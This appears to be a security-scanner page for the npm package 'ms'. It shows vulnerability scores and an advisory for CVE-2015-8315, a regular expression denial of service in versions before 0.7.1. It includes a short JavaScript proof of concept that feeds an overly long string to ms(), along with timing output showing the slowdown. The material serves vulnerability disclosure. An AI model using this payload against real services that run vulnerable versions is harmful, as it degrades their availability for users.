npm package report

Is ms safe?

2 known vulnerabilities, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    145 packages depend on it

    an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


    cvss
    7.5
    high

    CVSS v3.0 base score out of 10

    epss
    7.0%
    high

    chance of exploitation in 30 days, 94th percentile of all CVEs

    xyz score
    5.0
    medium

    CyberXYZ composite out of 10

    fig. 01 — GHSA-3fx5-fwvr-xrjg, the advisory selected below

    // 2 advisories

    GHSA-3fx5-fwvr-xrjg

    HIGHGitHub ratingCVE-2015-8315

    Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

    // proof of concept
    var ms = require('ms');
    var genstr = function (len, chr) {
       var result = "";
       for (i=0; i<=len; i++) {
           result = result + chr;
       }
    
       return result;
    }
    
    ms(genstr(process.argv[2], "5") + " minutea");
    // results

    Showing increase in execution time based on the input string.

    $ time node ms.js 10000
    
    real	0m0.758s
    user	0m0.724s
    sys	0m0.031s
    
    $ time node ms.js 20000
    
    real	0m2.580s
    user	0m2.494s
    sys	0m0.047s
    
    $ time node ms.js 30000
    
    real	0m5.747s
    user	0m5.483s
    sys	0m0.080s
    
    $ time node ms.js 80000
    
    real	0m41.022s
    user	0m38.894s
    sys	0m0.529s
    // cvss v3.0 vector

    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

    Attack vector
    Network
    Attack complexity
    Low
    Privileges required
    None
    User interaction
    None
    Scope
    Unchanged
    Confidentiality
    None
    Integrity
    None
    Availability
    High

    Checked 2026-11-06 at 20:27 UTC. The most recent advisory here was published 2023-01-05. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.